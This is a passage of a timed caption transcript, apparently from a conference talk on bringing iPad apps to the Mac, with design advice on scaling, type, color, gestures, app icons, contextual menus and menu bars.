consistency 00:13:58.486 --> 00:14:00.786 A:middle So, to maintain consistency 00:14:01.096 --> 00:14:03.546 A:middle between Mac apps, the system 00:14:03.546 --> 00:14:06.196 A:middle will scale content areas down by 00:14:06.196 --> 00:14:07.586 A:middle 77 percent. 00:14:08.456 --> 00:14:09.556 A:middle Seventy-seven percent, of 00:14:09.556 --> 00:14:10.796 A:middle course, as we all know, I don't 00:14:10.796 --> 00:14:12.266 A:middle even know if I'm pointing this 00:14:12.266 --> 00:14:14.006 A:middle out, is 13 divided by 17. 00:14:15.126 --> 00:14:17.166 A:middle Everything in the main interface 00:14:17.166 --> 00:14:18.856 A:middle will be scaled uniformly. 00:14:19.596 --> 00:14:20.796 A:middle This approach means that you 00:14:20.896 --> 00:14:23.676 A:middle don't have to redesign or recode 00:14:23.756 --> 00:14:26.116 A:middle every screen for macOS. 00:14:27.206 --> 00:14:29.416 A:middle But it does introduce a bit of 00:14:29.456 --> 00:14:31.686 A:middle complexity on the design side. 00:14:32.236 --> 00:14:34.076 A:middle When creating mock-ups of your 00:14:34.076 --> 00:14:36.116 A:middle iPad app, you'll want to 00:14:36.116 --> 00:14:38.586 A:middle recreate that 77 percent scale. 00:14:39.326 --> 00:14:41.066 A:middle So in Photoshop, for example, 00:14:41.066 --> 00:14:42.666 A:middle you can put your entire content 00:14:42.666 --> 00:14:44.616 A:middle area into a smart object and 00:14:44.616 --> 00:14:46.536 A:middle scale it down to 77 percent. 00:14:46.536 --> 00:14:48.696 A:middle And you can do similar things in 00:14:48.926 --> 00:14:50.966 A:middle Sketch, XD and other design 00:14:50.966 --> 00:14:51.356 A:middle tools. 00:14:52.666 --> 00:14:54.966 A:middle On macOS, apps tend to only use 00:14:55.256 --> 00:14:56.916 A:middle a few different font sizes. 00:14:57.876 --> 00:15:01.116 A:middle On iOS, text styles very much 00:14:57.876 --> 00:15:01.116 A:middle On iOS, text styles very much 00:15:01.116 --> 00:15:01.996 A:middle more dramatically. 00:15:02.626 --> 00:15:04.516 A:middle Text styles, the typographic 00:15:04.516 --> 00:15:06.796 A:middle system for iOS and they offer a 00:15:06.866 --> 00:15:08.896 A:middle wide range of size options. 00:15:09.906 --> 00:15:11.846 A:middle Using some of the smallest size 00:15:11.846 --> 00:15:13.856 A:middle like footnote, caption one, 00:15:13.856 --> 00:15:15.726 A:middle caption two, can make text 00:15:15.726 --> 00:15:17.296 A:middle that's difficult to read on Mac. 00:15:18.346 --> 00:15:20.056 A:middle Even the Mac size mini is often 00:15:20.056 --> 00:15:20.606 A:middle too small. 00:15:21.706 --> 00:15:23.396 A:middle So, just -- you may find that 00:15:23.396 --> 00:15:24.466 A:middle you need to bump up text a 00:15:24.466 --> 00:15:26.086 A:middle little bit to keep it legible on 00:15:26.086 --> 00:15:26.216 A:middle Mac. 00:15:27.256 --> 00:15:29.426 A:middle And, one final note about type, 00:15:29.996 --> 00:15:31.616 A:middle macOS doesn't support dynamic 00:15:31.616 --> 00:15:31.856 A:middle type. 00:15:32.396 --> 00:15:34.356 A:middle We'll always use the large size 00:15:34.356 --> 00:15:36.166 A:middle setting, it's just scaled down 00:15:36.386 --> 00:15:37.296 A:middle 77 percent. 00:15:38.436 --> 00:15:41.236 A:middle OK. Now with iOS, every app has 00:15:41.236 --> 00:15:43.146 A:middle it in color which is used to 00:15:43.146 --> 00:15:44.446 A:middle show when elements are 00:15:44.446 --> 00:15:45.966 A:middle interactive or to highlight 00:15:46.026 --> 00:15:46.846 A:middle selected items. 00:15:47.766 --> 00:15:49.116 A:middle Some apps go further by 00:15:49.116 --> 00:15:51.436 A:middle colorizing content area or bar 00:15:51.436 --> 00:15:52.056 A:middle backgrounds. 00:15:52.896 --> 00:15:54.636 A:middle On Mac, things are a little bit 00:15:54.676 --> 00:15:55.146 A:middle different. 00:15:55.846 --> 00:15:57.716 A:middle It's common for people to have 00:15:57.716 --> 00:16:00.146 A:middle lots of open windows with lots 00:15:57.716 --> 00:16:00.146 A:middle lots of open windows with lots 00:16:00.146 --> 00:16:02.016 A:middle of content in those windows and 00:16:02.016 --> 00:16:03.486 A:middle lots of files and folders on 00:16:03.486 --> 00:16:04.146 A:middle their desktop. 00:16:05.016 --> 00:16:07.346 A:middle If macOS used color like iOS 00:16:07.466 --> 00:16:09.486 A:middle apps, the user experience would 00:16:09.486 --> 00:16:11.076 A:middle be really fragmented and 00:16:11.076 --> 00:16:11.666 A:middle overwhelming. 00:16:12.786 --> 00:16:14.706 A:middle Mac interfaces should be more 00:16:14.706 --> 00:16:15.226 A:middle neutral. 00:16:15.716 --> 00:16:16.826 A:middle They shouldn't compete with a 00:16:16.826 --> 00:16:18.286 A:middle content that they present to 00:16:18.286 --> 00:16:18.546 A:middle people. 00:16:19.636 --> 00:16:20.756 A:middle What people are -- that's what 00:16:20.756 --> 00:16:22.556 A:middle people are really interested in. 00:16:23.786 --> 00:16:25.856 A:middle At the same time, translucency 00:16:25.856 --> 00:16:27.826 A:middle integrates your app into the Mac 00:16:27.826 --> 00:16:28.556 A:middle ecosystem. 00:16:29.146 --> 00:16:30.606 A:middle We all like to customize our 00:16:30.606 --> 00:16:32.026 A:middle desktop pictures and 00:16:32.026 --> 00:16:34.456 A:middle translucency lets those desktops 00:16:34.546 --> 00:16:36.856 A:middle influence how apps look and it 00:16:36.896 --> 00:16:38.966 A:middle brings them altogether into one 00:16:38.966 --> 00:16:40.466 A:middle cohesive experience. 00:16:41.586 --> 00:16:43.676 A:middle Similarly, on Mac, highlight 00:16:43.676 --> 00:16:44.896 A:middle colors are a personal 00:16:44.896 --> 00:16:45.616 A:middle preference. 00:16:46.146 --> 00:16:47.566 A:middle If your app uses a different 00:16:47.566 --> 00:16:49.336 A:middle color to highlight selected 00:16:49.336 --> 00:16:51.926 A:middle items, it'll feel really out of 00:16:52.026 --> 00:16:53.726 A:middle place and it'll be downright 00:16:53.726 --> 00:16:55.306 A:middle confusing for the people who use 00:16:55.306 --> 00:16:56.306 A:middle your app. 00:16:57.186 --> 00:16:59.096 A:middle It's worth pointing out actually 00:16:59.396 --> 00:17:00.966 A:middle that iOS is becoming a little 00:16:59.396 --> 00:17:00.966 A:middle that iOS is becoming a little 00:17:00.966 --> 00:17:03.476 A:middle bit more like macOS with respect 00:17:03.746 --> 00:17:04.136 A:middle to color. 00:17:05.156 --> 00:17:07.396 A:middle With multitasking, apps are seen 00:17:07.396 --> 00:17:09.346 A:middle alongside each other far more 00:17:09.346 --> 00:17:09.866 A:middle often. 00:17:10.346 --> 00:17:11.826 A:middle A consistent visual look 00:17:12.185 --> 00:17:14.076 A:middle provides a unified user 00:17:14.076 --> 00:17:14.766 A:middle experience. 00:17:15.516 --> 00:17:17.586 A:middle With Dark Mode, people expect 00:17:17.586 --> 00:17:19.566 A:middle more control over how apps will 00:17:19.566 --> 00:17:20.876 A:middle look on their device. 00:17:21.626 --> 00:17:23.016 A:middle Apps that don't respond to their 00:17:23.016 --> 00:17:24.536 A:middle personal preference will feel 00:17:24.616 --> 00:17:25.266 A:middle out of place. 00:17:26.276 --> 00:17:28.606 A:middle And, tint colors play a smaller 00:17:28.606 --> 00:17:29.426 A:middle part as well. 00:17:30.266 --> 00:17:32.216 A:middle Steppers and segmented controls 00:17:32.216 --> 00:17:34.796 A:middle that used to be tinted are now 00:17:35.156 --> 00:17:36.956 A:middle neutral with iOS 13. 00:17:38.116 --> 00:17:40.326 A:middle OK. And one last comment about 00:17:40.326 --> 00:17:40.716 A:middle color. 00:17:41.516 --> 00:17:43.396 A:middle As some of you may have heard 00:17:43.396 --> 00:17:45.776 A:middle already, the system colors on 00:17:45.776 --> 00:17:47.046 A:middle iOS have been completely 00:17:47.046 --> 00:17:47.666 A:middle overhauled. 00:17:48.356 --> 00:17:50.346 A:middle If you use these colors for your 00:17:50.346 --> 00:17:52.586 A:middle iOS app, they'll get remapped to 00:17:52.586 --> 00:17:55.266 A:middle macOS equivalents for both light 00:17:55.266 --> 00:17:56.126 A:middle and dark modes. 00:17:57.236 --> 00:17:59.886 A:middle OK. Moving on to gestures. 00:18:00.746 --> 00:18:02.256 A:middle UIKit gestures will 00:18:02.256 --> 00:18:04.686 A:middle automatically remap to trackpad 00:18:04.686 --> 00:18:05.676 A:middle or mouse events. 00:18:06.636 --> 00:18:08.726 A:middle Single tap will be the same as a 00:18:08.726 --> 00:18:09.736 A:middle mouse-down event. 00:18:11.316 --> 00:18:13.466 A:middle Long press will be mouse down 00:18:13.706 --> 00:18:14.286 A:middle and hold. 00:18:14.906 --> 00:18:18.416 A:middle Pan will be the same as a mouse 00:18:18.416 --> 00:18:18.766 A:middle drag. 00:18:18.766 --> 00:18:20.946 A:middle And the swipe gesture will be 00:18:21.056 --> 00:18:23.056 A:middle remapped to a drag in the proper 00:18:23.056 --> 00:18:23.586 A:middle direction. 00:18:24.646 --> 00:18:26.596 A:middle On trackpads, pinching and 00:18:26.596 --> 00:18:28.336 A:middle rotating will work but they'll 00:18:28.336 --> 00:18:29.806 A:middle behave a little bit differently. 00:18:30.856 --> 00:18:32.926 A:middle On the iPad, pinch and rotate 00:18:32.926 --> 00:18:34.696 A:middle use the middle point between 00:18:34.696 --> 00:18:37.056 A:middle touches to target objects or 00:18:37.056 --> 00:18:39.276 A:middle center the rotation and scale 00:18:39.276 --> 00:18:39.956 A:middle operation. 00:18:40.826 --> 00:18:42.986 A:middle On Mac, the cursor's location 00:18:42.986 --> 00:18:46.576 A:middle will be used for these purposes. 00:18:46.676 --> 00:18:48.456 A:middle Screen edge swipes won't be 00:18:48.456 --> 00:18:50.176 A:middle remapped for obvious reasons. 00:18:50.866 --> 00:18:53.456 A:middle And depending on how you've used 00:18:53.456 --> 00:18:55.246 A:middle gestures, you may have some work 00:18:55.316 --> 00:18:55.626 A:middle to do. 00:18:56.376 --> 00:18:57.606 A:middle Some gestures just won't 00:18:57.606 --> 00:18:58.836 A:middle translate very well to Mac. 00:18:59.786 --> 00:19:01.386 A:middle For example, pulling a scroll 00:18:59.786 --> 00:19:01.386 A:middle For example, pulling a scroll 00:19:01.386 --> 00:19:03.136 A:middle view to refresh its contents 00:19:03.556 --> 00:19:05.196 A:middle doesn't translate that well on 00:19:05.196 --> 00:19:05.416 A:middle the Mac. 00:19:06.346 --> 00:19:07.446 A:middle For any actions that are 00:19:07.626 --> 00:19:09.186 A:middle triggered by gestural input, 00:19:09.706 --> 00:19:10.546 A:middle you'll want to find an 00:19:10.546 --> 00:19:12.466 A:middle alternative way to perform that 00:19:12.466 --> 00:19:12.926 A:middle action. 00:19:13.506 --> 00:19:14.836 A:middle You can use many bar menus, 00:19:14.836 --> 00:19:16.596 A:middle contextual menus or buttons in 00:19:16.596 --> 00:19:18.556 A:middle the toolbar or all of the above. 00:19:19.716 --> 00:19:21.756 A:middle And one last note on Mac, you'll 00:19:21.756 --> 00:19:23.496 A:middle be able to receive mouse hover 00:19:23.496 --> 00:19:23.946 A:middle events. 00:19:24.776 --> 00:19:26.216 A:middle You can use this to display 00:19:26.216 --> 00:19:27.676 A:middle additional information about 00:19:27.676 --> 00:19:29.256 A:middle whatever the pointer is over. 00:19:30.296 --> 00:19:31.876 A:middle So for example, pressing the 00:19:31.876 --> 00:19:34.936 A:middle stock chart in the Stocks app on 00:19:35.076 --> 00:19:36.746 A:middle iOS reveals the price of a 00:19:36.746 --> 00:19:38.036 A:middle specific point in time. 00:19:38.766 --> 00:19:40.656 A:middle On macOS, rolling over the stock 00:19:40.656 --> 00:19:42.046 A:middle chart reveals the same 00:19:42.046 --> 00:19:42.726 A:middle information. 00:19:42.726 --> 00:19:44.456 A:middle You should definitely take 00:19:44.456 --> 00:19:45.816 A:middle advantage of hover states. 00:19:46.486 --> 00:19:47.616 A:middle There're a powerful way for 00:19:47.616 --> 00:19:49.076 A:middle people to get information 00:19:49.076 --> 00:19:50.446 A:middle without needing to change their 00:19:50.446 --> 00:19:51.056 A:middle selection. 00:19:52.126 --> 00:19:53.466 A:middle You'll also be able to create 00:19:53.466 --> 00:19:56.286 A:middle touch bars for your iPad apps on 00:19:56.286 --> 00:19:56.446 A:middle Mac. 00:19:57.426 --> 00:19:58.796 A:middle Touch bars are a great way for 00:19:58.796 --> 00:20:00.376 A:middle displaying contextually relevant 00:19:58.796 --> 00:20:00.376 A:middle displaying contextually relevant 00:20:00.376 --> 00:20:01.926 A:middle information and you can show 00:20:01.926 --> 00:20:03.376 A:middle different touch bars based on 00:20:03.376 --> 00:20:04.676 A:middle what area the app people are in 00:20:04.676 --> 00:20:05.696 A:middle or even what's selected. 00:20:06.306 --> 00:20:07.676 A:middle Most touch bar components and 00:20:07.676 --> 00:20:09.156 A:middle controls are available for you 00:20:09.156 --> 00:20:09.816 A:middle to use. 00:20:10.586 --> 00:20:12.276 A:middle Now, touch bars deserve an 00:20:12.276 --> 00:20:13.486 A:middle entire talk of their own. 00:20:13.486 --> 00:20:14.936 A:middle It's way too much to get into 00:20:14.936 --> 00:20:15.196 A:middle here. 00:20:15.746 --> 00:20:16.936 A:middle But you can learn more about 00:20:16.936 --> 00:20:19.166 A:middle touch bars in the macOS HIG. 00:20:20.116 --> 00:20:22.276 A:middle OK. Next up, app icons. 00:20:23.066 --> 00:20:24.986 A:middle Mac app icons are the face of 00:20:24.986 --> 00:20:25.546 A:middle your app. 00:20:26.426 --> 00:20:27.966 A:middle They help differentiate your app 00:20:28.356 --> 00:20:30.516 A:middle from dozens or hundreds of other 00:20:30.516 --> 00:20:31.716 A:middle apps that people may have 00:20:31.716 --> 00:20:32.246 A:middle installed. 00:20:33.136 --> 00:20:34.246 A:middle And they show up all over the 00:20:34.246 --> 00:20:35.766 A:middle place, in the dock, app 00:20:35.766 --> 00:20:37.666 A:middle switcher, Launchpad, application 00:20:37.666 --> 00:20:39.016 A:middle folder and more. 00:20:40.356 --> 00:20:42.956 A:middle By default, your iOS app icon 00:20:43.176 --> 00:20:45.436 A:middle will show up more or less as is, 00:20:45.946 --> 00:20:47.926 A:middle a square image that's masked by 00:20:47.926 --> 00:20:49.256 A:middle a continuous curve shape. 00:20:50.266 --> 00:20:51.696 A:middle A subtle drop shadow will be 00:20:51.696 --> 00:20:53.936 A:middle applied so that it fits in a bit 00:20:53.936 --> 00:20:56.956 A:middle better with the other Mac app 00:20:56.956 --> 00:20:57.456 A:middle icons. 00:20:58.396 --> 00:21:01.506 A:middle You can choose to stop here, or 00:20:58.396 --> 00:21:01.506 A:middle You can choose to stop here, or 00:21:01.626 --> 00:21:03.116 A:middle you can go the extra mile. 00:21:03.166 --> 00:21:05.016 A:middle And I encourage you to do so. 00:21:05.816 --> 00:21:07.906 A:middle Because of Mac app icon so much 00:21:07.906 --> 00:21:09.836 A:middle more visible, it really pays to 00:21:09.836 --> 00:21:11.426 A:middle have a great icon. 00:21:12.446 --> 00:21:14.256 A:middle Mac icons have different design 00:21:14.256 --> 00:21:16.336 A:middle characteristics than iOS icons. 00:21:17.056 --> 00:21:19.026 A:middle They're not simply squares with 00:21:19.026 --> 00:21:20.156 A:middle rounded off corners. 00:21:20.896 --> 00:21:22.866 A:middle Mac app icons have unique 00:21:22.916 --> 00:21:25.116 A:middle silhouettes to stand apart from 00:21:25.116 --> 00:21:26.256 A:middle other app icons. 00:21:27.046 --> 00:21:28.806 A:middle At smaller sizes, those 00:21:28.806 --> 00:21:30.716 A:middle silhouettes can help keep icons 00:21:30.796 --> 00:21:33.096 A:middle easily distinguishable from each 00:21:33.096 --> 00:21:33.406 A:middle other. 00:21:34.216 --> 00:21:37.106 A:middle And, speaking of size, on a 1x 00:21:37.106 --> 00:21:39.266 A:middle display, app icons in the Finder 00:21:39.266 --> 00:21:42.116 A:middle are only 16 pixels tall by wide. 00:21:42.896 --> 00:21:44.586 A:middle At this size, every pixel 00:21:44.586 --> 00:21:45.106 A:middle counts. 00:21:45.646 --> 00:21:47.696 A:middle So it's a good idea to create 00:21:47.696 --> 00:21:49.506 A:middle pixel hinted icons at the 00:21:49.506 --> 00:21:51.296 A:middle smallest app icon sizes. 00:21:52.866 --> 00:21:54.776 A:middle Mac app icons are, of course, 00:21:55.156 --> 00:21:56.866 A:middle crafted to accurately depict 00:21:57.306 --> 00:21:59.046 A:middle physical real-world objects. 00:21:59.616 --> 00:22:01.676 A:middle Many icons are rendered in 3D 00:21:59.616 --> 00:22:01.676 A:middle Many icons are rendered in 3D 00:22:01.676 --> 00:22:03.256 A:middle software so they have realistic 00:22:03.256 --> 00:22:04.856 A:middle lighting and material effects. 00:22:05.786 --> 00:22:07.106 A:middle We have lots of information for 00:22:07.106 --> 00:22:08.726 A:middle you to reference about camera 00:22:08.726 --> 00:22:10.776 A:middle perspective and light source in 00:22:10.776 --> 00:22:12.326 A:middle the HIG if you choose to go this 00:22:12.326 --> 00:22:12.446 A:middle route. 00:22:12.446 --> 00:22:14.006 A:middle All right. 00:22:14.556 --> 00:22:15.216 A:middle We're almost there. 00:22:15.576 --> 00:22:16.176 A:middle I know it's a lot. 00:22:16.926 --> 00:22:18.366 A:middle Second to last is contextual 00:22:18.366 --> 00:22:18.796 A:middle menus. 00:22:19.286 --> 00:22:21.216 A:middle Contextual menus are the unsung 00:22:21.216 --> 00:22:23.706 A:middle heroes of Mac app interfaces. 00:22:24.476 --> 00:22:25.656 A:middle They let people know what 00:22:25.656 --> 00:22:27.376 A:middle actions can be performed on an 00:22:27.376 --> 00:22:29.516 A:middle object and they bring actions 00:22:29.686 --> 00:22:31.116 A:middle right to the pointer which 00:22:31.116 --> 00:22:32.576 A:middle completely removes mouse 00:22:32.576 --> 00:22:32.946 A:middle trouble. 00:22:34.216 --> 00:22:36.516 A:middle On Mac, people basically expect 00:22:36.566 --> 00:22:38.476 A:middle contextual menus everywhere. 00:22:39.006 --> 00:22:40.656 A:middle So, it logically follows that 00:22:40.656 --> 00:22:42.396 A:middle you should add contextual menus 00:22:42.456 --> 00:22:43.226 A:middle to everything. 00:22:43.926 --> 00:22:45.246 A:middle Any object in your app should 00:22:45.246 --> 00:22:46.776 A:middle have an associated contextual 00:22:46.776 --> 00:22:48.536 A:middle menu that contains the most 00:22:48.536 --> 00:22:50.136 A:middle commonly performed actions. 00:22:51.256 --> 00:22:53.366 A:middle If you've added contextual menus 00:22:53.366 --> 00:22:54.896 A:middle for your iOS app, they'll 00:22:54.896 --> 00:22:56.596 A:middle automatically be brought to 00:22:56.596 --> 00:22:58.106 A:middle macOS contextual menus. 00:22:58.656 --> 00:22:59.946 A:middle And the same is true for edit 00:22:59.996 --> 00:23:00.316 A:middle menus. 00:22:59.996 --> 00:23:00.316 A:middle menus. 00:23:01.486 --> 00:23:02.376 A:middle Whether you're designing 00:23:02.376 --> 00:23:04.386 A:middle contextual menus from macOS or 00:23:04.386 --> 00:23:06.796 A:middle iOS, the same basic rules apply. 00:23:07.496 --> 00:23:09.156 A:middle Here are six quick tips to keep 00:23:09.156 --> 00:23:09.526 A:middle in mind. 00:23:10.176 --> 00:23:12.176 A:middle First, avoid overwhelming people 00:23:12.176 --> 00:23:13.246 A:middle with too many options. 00:23:13.856 --> 00:23:15.176 A:middle Too many options makes it harder 00:23:15.176 --> 00:23:16.076 A:middle for people to find what they're 00:23:16.076 --> 00:23:18.086 A:middle looking for and it leads to 00:23:18.086 --> 00:23:19.616 A:middle menus that take a long time to 00:23:19.616 --> 00:23:20.026 A:middle scan. 00:23:20.806 --> 00:23:22.556 A:middle Focus on the most contextually 00:23:22.556 --> 00:23:23.996 A:middle -- most relevant functionality 00:23:23.996 --> 00:23:24.436 A:middle only. 00:23:25.286 --> 00:23:26.676 A:middle Next, be succinct. 00:23:27.316 --> 00:23:29.306 A:middle One-word labels are typically 00:23:29.426 --> 00:23:29.966 A:middle sufficient. 00:23:30.776 --> 00:23:32.396 A:middle When writing labels, convey 00:23:32.396 --> 00:23:34.556 A:middle action, use verbs or verb 00:23:34.556 --> 00:23:36.636 A:middle phrases that suggest what the 00:23:36.636 --> 00:23:38.086 A:middle results of the action will be 00:23:38.146 --> 00:23:39.036 A:middle when it's performed. 00:23:39.926 --> 00:23:41.596 A:middle Also, the order of commands is 00:23:41.646 --> 00:23:42.566 A:middle very meaningful. 00:23:43.206 --> 00:23:44.566 A:middle Put the most important stuff at 00:23:44.566 --> 00:23:46.356 A:middle the top and then group related 00:23:46.356 --> 00:23:47.206 A:middle items together. 00:23:47.716 --> 00:23:49.536 A:middle Going one step further, use 00:23:49.536 --> 00:23:50.826 A:middle separators to make the 00:23:50.826 --> 00:23:52.526 A:middle relationships between commands 00:23:52.636 --> 00:23:53.356 A:middle explicit. 00:23:54.446 --> 00:23:56.246 A:middle Grouping commands together can 00:23:56.246 --> 00:23:58.296 A:middle be very meaningful and it helps 00:23:58.296 --> 00:24:00.286 A:middle people skip past entire sets of 00:23:58.296 --> 00:24:00.286 A:middle people skip past entire sets of 00:24:00.316 --> 00:24:02.026 A:middle commands when they conceive from 00:24:02.026 --> 00:24:03.606 A:middle the first one or two that it's 00:24:03.606 --> 00:24:04.556 A:middle not going to be relevant to 00:24:04.556 --> 00:24:05.296 A:middle their current needs. 00:24:06.466 --> 00:24:08.446 A:middle And lastly, use submenus to 00:24:08.566 --> 00:24:10.746 A:middle control menu length and hide 00:24:10.746 --> 00:24:12.476 A:middle away actions that aren't 00:24:12.626 --> 00:24:13.006 A:middle relevant. 00:24:13.846 --> 00:24:15.766 A:middle Submenus are a classic example 00:24:15.766 --> 00:24:17.046 A:middle of progressive disclosure. 00:24:17.676 --> 00:24:19.896 A:middle They simplify decision making by 00:24:19.896 --> 00:24:21.326 A:middle reducing complexity. 00:24:22.556 --> 00:24:24.896 A:middle OK. Now the last major 00:24:24.896 --> 00:24:26.616 A:middle consideration that I'd like to 00:24:26.616 --> 00:24:28.696 A:middle discuss today are menu bars. 00:24:29.986 --> 00:24:31.956 A:middle Every app has a menu bar. 00:24:32.876 --> 00:24:34.696 A:middle Menu bars are core to the Mac 00:24:34.696 --> 00:24:36.996 A:middle experience, go back all the way 00:24:36.996 --> 00:24:37.986 A:middle to 1984. 00:24:38.866 --> 00:24:41.136 A:middle Menu bars were key to what made 00:24:41.136 --> 00:24:43.216 A:middle computers easy to use. 00:24:44.296 --> 00:24:45.866 A:middle Designing your app's menu bar 00:24:46.166 --> 00:24:48.046 A:middle begins with this super fun 00:24:48.046 --> 00:24:48.806 A:middle exercise. 00:24:49.866 --> 00:24:51.216 A:middle You write down all of the 00:24:51.216 --> 00:24:52.576 A:middle actions that a person can 00:24:52.576 --> 00:24:54.866 A:middle perform in your app and I do 00:24:54.866 --> 00:24:56.736 A:middle mean all of them and then you 00:24:56.736 --> 00:24:58.496 A:middle take note of what object or 00:24:58.496 --> 00:25:00.366 A:middle objects those actions affect. 00:24:58.496 --> 00:25:00.366 A:middle objects those actions affect. 00:25:01.446 --> 00:25:03.036 A:middle Not only is this exercise 00:25:03.216 --> 00:25:06.106 A:middle excruciatingly fun, but it's 00:25:06.246 --> 00:25:07.666 A:middle also necessary. 00:25:08.816 --> 00:25:10.246 A:middle Every action that someone can 00:25:10.246 --> 00:25:12.126 A:middle perform in your app should be 00:25:12.126 --> 00:25:13.576 A:middle available from the menu bar. 00:25:14.206 --> 00:25:15.526 A:middle This makes them easier to 00:25:15.566 --> 00:25:17.926 A:middle discover and lets people assign 00:25:17.926 --> 00:25:19.236 A:middle keyboard shortcuts to them. 00:25:20.166 --> 00:25:21.346 A:middle It also makes them more 00:25:21.346 --> 00:25:22.516 A:middle accessible to people who are 00:25:22.516 --> 00:25:25.306 A:middle using full keyboard access. 00:25:25.346 --> 00:25:26.736 A:middle Once you've cataloged all of 00:25:26.736 --> 00:25:28.286 A:middle those actions, you'll need to 00:25:28.286 --> 00:25:29.516 A:middle find a place for them to go. 00:25:30.256 --> 00:25:32.556 A:middle macOS includes a standard set of 00:25:32.556 --> 00:25:35.366 A:middle menu items -- menu options like 00:25:35.776 --> 00:25:37.486 A:middle the app menu for commands that 00:25:37.536 --> 00:25:39.666 A:middle work -- operate on the app, file 00:25:39.666 --> 00:25:40.876 A:middle menu for commands that operate 00:25:40.876 --> 00:25:42.706 A:middle on files, edit menu for commands 00:25:42.706 --> 00:25:44.016 A:middle that operate on the content or 00:25:44.016 --> 00:25:45.716 A:middle objects within those files, 00:25:46.396 --> 00:25:47.946 A:middle format menu for formatting text, 00:25:48.686 --> 00:25:50.376 A:middle view menu for customizing the 00:25:50.376 --> 00:25:52.496 A:middle appearance of a window, window 00:25:52.496 --> 00:25:54.336 A:middle menu for commands that operate 00:25:54.336 --> 00:25:55.066 A:middle on windows. 00:25:55.836 --> 00:25:57.896 A:middle And help menus are for getting 00:25:57.896 --> 00:25:59.576 A:middle help and finding commands in 00:25:59.576 --> 00:26:00.306 A:middle those other menus. 00:25:59.576 --> 00:26:00.306 A:middle those other menus. 00:26:01.466 --> 00:26:03.486 A:middle Now, for many of your apps, 00:26:03.896 --> 00:26:05.386 A:middle these standard menus are going 00:26:05.386 --> 00:26:06.646 A:middle to be all that you actually 00:26:06.646 --> 00:26:06.996 A:middle need. 00:26:07.796 --> 00:26:09.936 A:middle However, it's often necessary to 00:26:09.936 --> 00:26:12.006 A:middle provide additional custom menus. 00:26:12.816 --> 00:26:14.386 A:middle If you have a couple of key 00:26:14.386 --> 00:26:17.486 A:middle object types in your app, with 00:26:17.486 --> 00:26:19.636 A:middle object specific actions, you 00:26:19.636 --> 00:26:20.736 A:middle should consider adding a 00:26:20.796 --> 00:26:22.676 A:middle top-level menu or two for them. 00:26:23.576 --> 00:26:25.076 A:middle So, for example, in the mail 00:26:25.286 --> 00:26:27.166 A:middle app, there are two main object 00:26:27.606 --> 00:26:30.386 A:middle types, mailboxes and messages. 00:26:31.326 --> 00:26:32.556 A:middle There are a number of actions 00:26:32.556 --> 00:26:33.986 A:middle that can be performed on those 00:26:33.986 --> 00:26:35.456 A:middle objects and none of those 00:26:35.456 --> 00:26:36.986 A:middle actions can be performed on the 00:26:36.986 --> 00:26:38.046 A:middle other type of object. 00:26:38.746 --> 00:26:40.526 A:middle So it makes sense to have one 00:26:40.526 --> 00:26:42.776 A:middle menu button for each of those 00:26:42.776 --> 00:26:43.386 A:middle objects. 00:26:44.836 --> 00:26:46.586 A:middle At other times, it's helpful to 00:26:46.586 --> 00:26:48.156 A:middle organize actions by a larger 00:26:48.156 --> 00:26:49.376 A:middle workflow that they serve. 00:26:50.126 --> 00:26:51.946 A:middle In keynote, there are a variety 00:26:51.946 --> 00:26:52.966 A:middle of different object types that 00:26:52.966 --> 00:26:54.846 A:middle can be added to a slide and 00:26:54.846 --> 00:26:56.106 A:middle there's a whole set of actions 00:26:56.106 --> 00:26:57.756 A:middle for aligning and distributing, 00:26:58.006 --> 00:26:59.416 A:middle locking them, grouping them, 00:26:59.416 --> 00:27:00.936 A:middle moving them forward or backward. 00:26:59.416 --> 00:27:00.936 A:middle moving them forward or backward. 00:27:01.666 --> 00:27:02.986 A:middle And because all of those actions 00:27:02.986 --> 00:27:05.246 A:middle affect all of those objects in a 00:27:05.246 --> 00:27:07.046 A:middle similar way, it makes sense to 00:27:07.046 --> 00:27:09.026 A:middle put them into a single menu 00:27:09.326 --> 00:27:10.366 A:middle based on the workflow they 00:27:10.366 --> 00:27:10.726 A:middle serve. 00:27:12.176 --> 00:27:13.336 A:middle And once you've determined what 00:27:13.376 --> 00:27:15.106 A:middle custom menus to include in the 00:27:15.106 --> 00:27:16.996 A:middle menu bar, you'll need to create 00:27:16.996 --> 00:27:18.046 A:middle the menus themselves. 00:27:18.956 --> 00:27:20.386 A:middle All of the tips that I just 00:27:20.386 --> 00:27:21.666 A:middle shared with you for contextual 00:27:21.666 --> 00:27:24.096 A:middle menus apply here with one 00:27:24.096 --> 00:27:25.156 A:middle important addition. 00:27:25.856 --> 00:27:27.646 A:middle The structure of menu bar menus 00:27:27.646 --> 00:27:28.436 A:middle is stable. 00:27:28.986 --> 00:27:30.956 A:middle Commands aren't added or removed 00:27:30.956 --> 00:27:32.716 A:middle after an app has been launched. 00:27:33.426 --> 00:27:35.276 A:middle Like toolbar actions, they 00:27:35.276 --> 00:27:36.816 A:middle disable when they can't be 00:27:36.816 --> 00:27:37.456 A:middle performed. 00:27:38.556 --> 00:27:40.236 A:middle A stable menu system helps 00:27:40.236 --> 00:27:42.106 A:middle people to learn where commands 00:27:42.186 --> 00:27:44.056 A:middle are, even if those commands 00:27:44.176 --> 00:27:45.656 A:middle aren't currently available. 00:27:46.516 --> 00:27:48.136 A:middle And, when someone sees a 00:27:48.136 --> 00:27:49.766 A:middle disabled command, they learn 00:27:49.766 --> 00:27:51.296 A:middle that the action that it performs 00:27:52.126 --> 00:27:54.116 A:middle is not currently possible, which 00:27:54.116 --> 00:27:55.326 A:middle is actually really useful 00:27:55.326 --> 00:27:55.826 A:middle information. 00:27:56.666 --> 00:27:59.156 A:middle And, one more thing about menu 00:27:59.156 --> 00:27:59.566 A:middle bars. 00:28:00.226 --> 00:28:02.206 A:middle Assign keyboard shortcuts for 00:28:02.206 --> 00:28:03.706 A:middle the most common commands. 00:28:04.226 --> 00:28:06.016 A:middle Heavy keyboard users will thank 00:28:06.016 --> 00:28:08.816 A:middle you on both Mac and iPad. 00:28:09.386 --> 00:28:11.036 A:middle Your keyboard shortcuts will 00:28:11.036 --> 00:28:11.946 A:middle work on both. 00:28:12.956 --> 00:28:14.446 A:middle When picking keyboard shortcuts, 00:28:14.836 --> 00:28:16.466 A:middle always follow precedent. 00:28:17.086 --> 00:28:18.436 A:middle You could find a long list of 00:28:18.436 --> 00:28:19.966 A:middle standard keyboard shortcuts in 00:28:19.966 --> 00:28:21.836 A:middle the macOS HIG on the keyboard 00:28:21.836 --> 00:28:22.286 A:middle page. 00:28:23.336 --> 00:28:25.116 A:middle Look, we all appreciate it when 